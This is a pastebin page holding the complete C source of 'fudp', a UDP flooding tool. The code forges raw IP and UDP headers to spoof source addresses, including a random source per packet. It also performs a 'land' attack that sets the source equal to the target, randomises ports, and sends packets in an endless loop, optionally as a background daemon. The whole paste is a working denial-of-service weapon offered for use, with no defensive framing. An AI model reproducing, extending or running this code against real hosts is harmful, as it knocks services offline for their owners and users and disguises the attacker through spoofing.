RageBin - Collaborative Raging

Ragebin is a collaborative Raging tool allowing you to share and modify rage snippets while chatting on IRC, IM or a message board.

This site is developed to XHTML and CSS2 W3C standards. If you see this paragraph, your browser does not support those standards and you need to upgrade. Visit WaSP for a browser that supports this.

C RageBin - Home - View Help - Archive - Ragers IRC - Image Boards

Posted by Anonymous on Tuesday 21st June 2011 01:10:39 - Never Expires
download | new post

  1. #define _GNU_SOURCE
  2. #include <unistd.h>             /* alarm. */
  3. #include <sys/types.h>          /* socket */
  4. #include <sys/socket.h>         /* inet_ntoa, socket */
  5. #include <arpa/inet.h>          /* inet_ntoa. */
  6. #include <stdio.h>              /* printf. */
  7. #include <string.h>             /* memset. */
  8. #include <stdlib.h>             /* atoi. */
  9. #include <time.h>               /* time. */
  10. #include <netdb.h>              /* gethostbyname. */
  11.  
  12. #define __FAVOR_BSD
  13. #include <netinet/in_systm.h>   /* ntime -> ip.h (*BSD) */
  14. #include <netinet/in.h>         /* inet_ntoa. */
  15. #include <netinet/ip.h>
  16. #include <netinet/udp.h>
  17.  
  18. #define YES     1
  19. #define NO      0
  20. #define ERROR   1
  21. #define SUCCESS 0
  22. #define VER     "0.2a"
  23.  
  24.  
  25. u_short  in_cksum( u_int16_t *addr, int len );
  26. int      create_socket( short rewrite_source );
  27. void     timeout( void );
  28. void     simple_sendto( short one_packet, short packet_size, struct sockaddr_in *sin, socklen_t sin_len );
  29. void     spoofed_sendto( short one_packet, short packet_size, short random_source, short land_attack, char *source_ip, struct hostent *rev, struct sockaddr_in *sin, socklen_t sin_len );
  30. void     help( char *argv0 );
  31.  
  32.  
  33.  
  34. /**********************************************
  35. * char *argv0 <-- filename.
  36. * Print help and exit.
  37. **********************************************/
  38. void
  39. help( char *argv0 )
  40. {
  41.     printf("fudp (%s) by urug.projects(at)gmail.com ;]\n"\
  42.            "Syntax: %s <flags>\n\n"\
  43.            "You need to specify at least destination (-d) flag!\n",
  44.            VER, argv0 );
  45.  
  46.     printf("non-root (probably same sport for each pkt):\n"\
  47.            "\t-b\t\twork in background.\n"\
  48.            "\t-rd\t\trandom destination port for each pkt.\n"\
  49.            "\t-1\t\tsend only one packet.\n"
  50.            "\t-d <host>\tdestination hostname or IP address.\n"\
  51.            "\t-p <port>\tdestination port number (default 1234)\n"\
  52.            "\t-z <size>\tpacket data size (default 10, max 99)\n"\
  53.            "\t-t <time>\thow long send packets (in seconds, default unlimited).\n\n");
  54.  
  55.     printf("only root (random sport for each pkt):\n"\
  56.            "\t-rs\t\trandom source IP address for each pkt.\n"\
  57.            "\t-l\t\tland udp attack.\n"\
  58.            "\t-s <source>\tsource IP address.\n");
  59.  
  60.     exit(ERROR);
  61. }
  62.  
  63.  
  64.  
  65. /**********************************************
  66. * Parse command line args.
  67. * Run UDP flooding functions.
  68. **********************************************/
  69. int
  70. main( int argc, char **argv )
  71. {
  72.     struct      sockaddr_in     sin;
  73.     struct      hostent         *rev;
  74.  
  75.     short       cl_rsource=NO,    /* random source. */
  76.                 cl_rdport=NO,     /* random dport. */
  77.                 cl_tofork=NO,     /* work as daemon. */
  78.                 cl_dport=1234,  /* destination port. */
  79.                 cl_size=10,       /* packet size. */
  80.                 cl_one=NO,        /* send only one packet. */
  81.                 cl_time=NO,       /* send only %d seconds. */
  82.                 cl_land=NO;       /* land attack. */
  83.     char        *cl_dest="1.xyz", /* destination IP. */
  84.                 *cl_source=NULL;  /* source IP. */
  85.  
  86.  
  87.     /* parse command line args. */
  88.     if( argc == 1 )
  89.         help( argv[0] );
  90.     else
  91.     {
  92.         while( *++argv != NULL )
  93.             if( strcmp( *argv,"-b" ) == 0 )
  94.                 cl_tofork = YES;
  95.             else if( strcmp( *argv,"-rd" ) == 0 )
  96.                 cl_rdport = YES;
  97.             else if( strcmp( *argv,"-1" ) == 0 )
  98.                 cl_one = YES;
  99.             else if( strcmp( *argv,"-l" ) == 0 )
  100.                 cl_land = YES;
  101.             else if( strcmp( *argv,"-rs" ) == 0 )
  102.                 cl_rsource = YES;
  103.             else if( strcmp( *argv,"-s" ) == 0 && *++argv != NULL )
  104.                 cl_source = *argv;
  105.             else if( *argv != NULL  &&  strcmp( *argv,"-d" ) == 0  && *++argv != NULL )
  106.                 cl_dest = *argv;
  107.             else if( *argv != NULL  &&  strcmp( *argv,"-p" ) == 0  && *++argv != NULL )
  108.                 cl_dport = atoi(*argv);
  109.             else if( *argv != NULL  &&  strcmp( *argv,"-z" ) == 0  && *++argv != NULL )
  110.                 cl_size = atoi(*argv);
  111.             else if( *argv != NULL  &&  strcmp( *argv,"-t" ) == 0  && *++argv != NULL )
  112.                 cl_time = atoi(*argv);
  113.             else
  114.             {
  115.                 if( *argv == NULL )
  116.                     printf("This option need an argument.\n");
  117.                 else
  118.                     printf("Unknown option %s.\n", *argv);
  119.  
  120.                 return ERROR;
  121.             }
  122.     }
  123.  
  124.  
  125.     /* get ip address of a machine. */
  126.     if( (rev = gethostbyname( cl_dest )) == NULL )
  127.     {
  128.         herror(cl_dest);
  129.         return ERROR;
  130.     }
  131.  
  132.     /* fill sin struct. */
  133.     sin.sin_family = rev->h_addrtype;
  134.     memcpy((char *)&sin.sin_addr, *rev->h_addr_list, rev->h_length );
  135.     if( cl_rdport == YES )
  136.         sin.sin_port = 0;       /* 0 means random. */
  137.     else
  138.         sin.sin_port = htons(cl_dport);
  139.  
  140.     /* Go to background. */
  141.     if( cl_tofork == YES )
  142.         if( fork() != 0 )
  143.           return SUCCESS;
  144.  
  145.     /* Stop after user defined time. */
  146.     if( cl_time != NO )
  147.         alarm(cl_time);
  148.  
  149.     /* Start sending packets. */
  150.     if( cl_rsource == YES || cl_source != NULL || cl_land == YES )
  151.         spoofed_sendto( cl_one, cl_size, cl_rsource, cl_land, cl_source, rev, &sin, sizeof(sin) );
  152.     else
  153.         simple_sendto( cl_one, cl_size, &sin, sizeof(sin) );
  154.  
  155.  
  156.     /* end. */
  157.     return SUCCESS;
  158. }
  159.  
  160.  
  161.  
  162. /**********************************************
  163. * Send UDP packets with other than current machine
  164. * source address.
  165. **********************************************/
  166. void
  167. spoofed_sendto( short one_packet, short data_size, short random_source, short land_attack, char *source_ip, struct hostent *rev, struct sockaddr_in *sin, socklen_t sin_len )
  168. {
  169.     struct      udphdr  udphdr; /* udp header. */
  170.     struct      ip      iphdr;  /* ip header. */
  171.     char        packet[200],    /* Packet headers and data. */
  172.                 *temp;          /* Temporary ptr. */
  173.     int         i, sock,        /* Temp variable and socket. */
  174.                 packet_size;
  175.     short       rdport = NO;
  176.  
  177.  
  178.     /* Check packet size. */
  179.     if( data_size > 99 )
  180.     {
  181.         printf("Packet data too big (max 99)\n");
  182.         return;
  183.     }
  184.  
  185.     /* Write packet size. */
  186.     packet_size = sizeof(udphdr) + sizeof(iphdr) + data_size;
  187.  
  188.     /* write IP headers. */
  189.     iphdr.ip_hl = 5;
  190.     iphdr.ip_v = 4;
  191.     iphdr.ip_tos = 0x0;
  192.     iphdr.ip_id = htons(1);
  193.     iphdr.ip_off = 0;
  194.     iphdr.ip_ttl = 64;
  195.     iphdr.ip_p = IPPROTO_UDP;
  196.     memcpy((char *)&iphdr.ip_dst.s_addr, *rev->h_addr_list, rev->h_length );
  197.     iphdr.ip_sum = in_cksum((u_short *)&iphdr, sizeof(iphdr));
  198.     iphdr.ip_len = htons(sizeof(iphdr) + sizeof(udphdr) + data_size);
  199.  
  200.     /* Write UDP headers. */
  201.     udphdr.uh_sum = 0;
  202.     udphdr.uh_ulen = htons(sizeof(udphdr) + data_size);
  203.  
  204.     /* seed new sequence of pseudo random integers. */
  205.     srand(time(NULL));
  206.  
  207.     /* Write destination port. If sin_port is 0, set random
  208.        dport (because 0 means random) */
  209.     if( sin->sin_port == 0 )
  210.         rdport = YES;
  211.     else
  212.         udphdr.uh_dport = sin->sin_port;
  213.  
  214.     /* Write source IP address and source port for land attack. */
  215.     if( land_attack == YES )
  216.     {
  217.         memcpy((char *)&iphdr.ip_src.s_addr, *rev->h_addr_list, rev->h_length );
  218.         udphdr.uh_sport = udphdr.uh_dport;
  219.     }
  220.     else if( random_source != YES )
  221.         iphdr.ip_src.s_addr = inet_addr(source_ip);
  222.  
  223.     /* copy headers and data to packet table[]. */
  224.     memcpy(packet, &iphdr, sizeof(iphdr));
  225.     temp = &packet[sizeof(iphdr)];
  226.     memcpy(temp, &udphdr, sizeof(udphdr));
  227.     temp = &packet[sizeof(iphdr) + sizeof(udphdr)];
  228.     for( i = 0; i != data_size ; i++ )
  229.         *temp++ = 'z';
  230.  
  231.  
  232.     /* send packets. */
  233.     sock = create_socket( YES );
  234.     if( one_packet == YES )
  235.         sendto( sock, packet, packet_size, 0, (struct sockaddr *)sin, sin_len );
  236.     else
  237.     {
  238.         while(1)
  239.         {
  240.             /* Write random source ip address. */
  241.             if( random_source == YES )
  242.             {
  243.                 iphdr.ip_src.s_addr = rand();
  244.                 memcpy(packet, &iphdr, sizeof(iphdr));
  245.             }
  246.  
  247.             /* Write new destination port. */
  248.             if( rdport == YES )
  249.                 udphdr.uh_dport = htons(rand()%65535);
  250.  
  251.             /* Write new source port. */
  252.             if( land_attack == YES && rdport == YES )
  253.                 udphdr.uh_sport = udphdr.uh_dport;
  254.             else if( land_attack != YES )
  255.                 udphdr.uh_sport = htons(rand()%65535);
  256.  
  257.             /* Write new udp header, with at least new source port. */
  258.             memcpy(&packet[sizeof(iphdr)], &udphdr, sizeof(udphdr));
  259.  
  260.             /* Send packet. */
  261.             sendto( sock, packet, packet_size, 0, (struct sockaddr *)sin, sin_len );
  262.         }
  263.     }
  264. }
  265.  
  266.  
  267.  
  268. /**********************************************
  269. * Just send UDP packets.
  270. **********************************************/
  271. void
  272. simple_sendto( short one_packet, short data_size, struct sockaddr_in *sin, socklen_t sin_len )
  273. {
  274.     char        packet[100];    /* Packet data. */
  275.     short       rdport = NO,    /* Random destination port. */
  276.                 i;              /* Temporary variable. */
  277.     int         sock;           /* socket. */
  278.  
  279.  
  280.     /* Check packet size. */
  281.     if( data_size > 99 )
  282.     {
  283.         printf("Packet data too big (max 99)\n");
  284.         return;
  285.     }
  286.     else /* Write data to packet. */
  287.         for( i = 0; i != data_size ; i++ )
  288.             packet[i] = 'z';
  289.  
  290.     /* If sin_port is 0, user want random destination port.
  291.        Set rdport to YES, and use srand to seed new sequence of
  292.        pseudo random integers. Write new dport.*/
  293.     if( sin->sin_port == 0 )
  294.     {
  295.         rdport = YES;
  296.         srand(time(NULL));
  297.         sin->sin_port = htons(rand()%65535);
  298.     }
  299.  
  300.     /* Create socket (We dont need to rewrite headers) and send packets. */
  301.     sock = create_socket( NO );
  302.     if( one_packet == YES )
  303.     {
  304.         sendto( sock, packet, data_size, 0, (struct sockaddr *)sin, sin_len );
  305.     }
  306.     else
  307.         while(1)
  308.         {
  309.             /* Send packet. */
  310.             sendto( sock, packet, data_size, 0, (struct sockaddr *)sin, sin_len );
  311.  
  312.             /* Generate new destination port. */
  313.             if( rdport == YES )
  314.                 sin->sin_port = htons(rand()%65535);
  315.         }
  316. }
  317.  
  318.  
  319.  
  320. /**********************************************
  321. * Return UDP or RAW socket.
  322. **********************************************/
  323. int
  324. create_socket( short rewrite_source )
  325. {
  326.     int sock;   /* socket. */
  327.  
  328.  
  329.     /* If function which sends packets need to rewrite ip headers,
  330.        create RAW socket. */
  331.     if( rewrite_source == YES )
  332.         sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
  333.     else
  334.         sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
  335.  
  336.  
  337.     if( sock == -1 )
  338.     {
  339.         perror("socket");
  340.         exit(1);
  341.     }
  342.     else
  343.         return sock;
  344. }
  345.  
  346.  
  347.  
  348. /**********************************************
  349. * Count packet checksum.
  350. **********************************************/
  351. u_short
  352. in_cksum( u_int16_t *addr, int len )
  353. {
  354.     int         nleft = len;
  355.     u_int16_t   *w = addr;
  356.     u_int32_t   sum = 0;
  357.     u_int16_t   answer = 0;
  358.  
  359.  
  360.     /*
  361.     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  362.     * sequential 16 bit words to it, and at the end, fold back all the
  363.     * carry bits from the top 16 bits into the lower 16 bits.
  364.     */
  365.     while( nleft > 1 )
  366.     {
  367.         sum += *w++;
  368.         nleft -= 2;
  369.     }
  370.  
  371.     /* mop up an odd byte, if necessary */
  372.     if( nleft == 1 )
  373.     {
  374.         answer=0;
  375.         *(u_char *)(&answer) = *(u_char *)w ;
  376.         sum += answer;
  377.     }
  378.  
  379.     /* add back carry outs from top 16 bits to low 16 bits */
  380.     sum = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
  381.     sum += (sum >> 16);                     /* add carry */
  382.     answer = ~sum;                          /* truncate to 16 bits */
  383.     return answer;
  384. }

Submit a correction or amendment below. (click here to post a fresh rage)
After submitting an amendment, you'll be able to view the differences between the old and new rage easily.
Syntax Highlighting:
To highlight particular lines, prefix each line with @@
Pressing TAB inserts 3 spaces